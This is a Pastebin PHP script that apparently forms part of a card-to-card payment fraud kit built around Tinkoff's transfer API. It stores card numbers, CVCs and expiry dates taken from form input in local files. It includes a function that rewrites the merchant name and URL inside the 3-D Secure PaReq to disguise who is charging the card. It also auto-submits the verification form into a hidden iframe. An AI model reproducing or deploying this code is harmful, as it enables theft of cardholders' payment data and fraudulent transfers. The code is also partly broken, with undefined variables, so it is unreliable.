Advertisement
SpeakeazyYT

Untitled

Sep 15th, 2019
798
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.89 KB | None | 0 0
  1. <pre>
  2. <?
  3.  
  4. function renameShop($pareq, $to_name, $to_link){
  5.     $defaultPareq = base64_decode($pareq);
  6.     $ThreeDSecureData = zlib_decode($defaultPareq);
  7.     $ThreeDSecureDataXML = new \SimpleXMLElement($ThreeDSecureData);
  8.     foreach($ThreeDSecureDataXML->xpath('/ThreeDSecure/Message/PAReq/Merchant') as $threeData) {
  9.         $threeData->name = $to_name;
  10.         $threeData->url = $to_link;
  11.     }
  12.     $ThreeDSecureData = $ThreeDSecureDataXML->asXML();
  13.     $ThreeDSecureData = zlib_encode($ThreeDSecureData, ZLIB_ENCODING_DEFLATE);
  14.     $ThreeDSecureData = base64_encode($ThreeDSecureData);
  15.     return $ThreeDSecureData;
  16. }
  17.  
  18. $url = "https://api.tinkoff.ru/v1/pay?origin=web%2Cib5%2Cplatform&sessionid=VgYrsQSzu3ZCEGvjtTxTZjyFzTi1WUyi.ds-prod-api11&wuid=3ed3703accdb4a29ae00d7be07452922";
  19.  
  20. $payParamsArr = [
  21.     'cardNumber' => '****************',
  22.     'formProcessingTime' => '0',
  23.     'securityCode' => '***',
  24.     'expiryDate' => 'MM/DD',
  25.     'attachCard' => 'false',
  26.     'provider' => 'c2c-anytoany',
  27.     'currency' => 'RUB',
  28.     'moneyAmount' => '10',
  29.     'moneyCommission' => '40',
  30.     'providerFields' => [
  31.         'toCardNumber' => '****************'
  32.     ]
  33. ];
  34.  
  35. $encPay = urlencode(json_encode($payParamsArr));
  36.  
  37. $ch = curl_init();
  38.  
  39. curl_setopt($ch, CURLOPT_URL, $url);
  40.  
  41. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  42. // указываем, что у нас POST запрос
  43. curl_setopt($ch, CURLOPT_POST, 1);
  44. // добавляем переменные
  45. curl_setopt($ch, CURLOPT_POSTFIELDS, 'payParameters='.$encPay);
  46.  
  47. $output = json_decode(curl_exec($ch), true);
  48.  
  49. curl_close($ch);
  50.  
  51. if (!isset($output['errorMessage'])) {
  52.     $tempdata = $output;
  53.     $tempdata["amount"] = ($_POST["amount"]);
  54.     $tempdata["card"] = $card_number;
  55.     $tempdata["cardCVC"] = $_POST["cardFromCVC"];
  56.     $tempdata["cardExpired"] = $_POST["cardFromMonth"] . "/" . $_POST["cardFromYear"];
  57.     file_put_contents("temp/" . $output['confirmationData']['3DSecure']['merchantData'], json_encode($tempdata, true));
  58.    
  59.     //$newpareq = renameShop($output['confirmationData']['3DSecure']['requestSecretCode'], 'FOPAY', 'https://fopay.ru/');
  60.  
  61.     echo '<html><head>' .
  62.     '<script src="https://code.jquery.com/jquery-3.3.1.js"></script>' .
  63.     '<script>$(document).ready(function(){$("#payform").submit();});</script>' .
  64.     '</head><body style="padding: 0px; margin: 0px;">' .
  65.     '<form action="' . $output['confirmationData']['3DSecure']['url'] . '" method="post" target="payframe" id="payform">' .
  66.     '<input type="hidden" name="PaReq" value="' . $newpareq . '">' .
  67.     '<input type="hidden" name="MD" value="' . $output['confirmationData']['3DSecure']['merchantData'] . '">' .
  68.     '<input type="hidden" name="TermUrl" value="http://' . $_SERVER["SERVER_NAME"] . dirname($_SERVER["REQUEST_URI"]) . '/status.php?amount='.(int)$_POST['amount'].'&order_id=' . (int)$_POST["order_id"] . '">' .
  69.     '</form>' .
  70.     '<iframe name="payframe" style="width: 100%; height: 100%; border: 0px;"></iframe>' .
  71.     '</body></html>';
  72. }
  73.  
  74. //print_r($output);
  75.  
  76. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement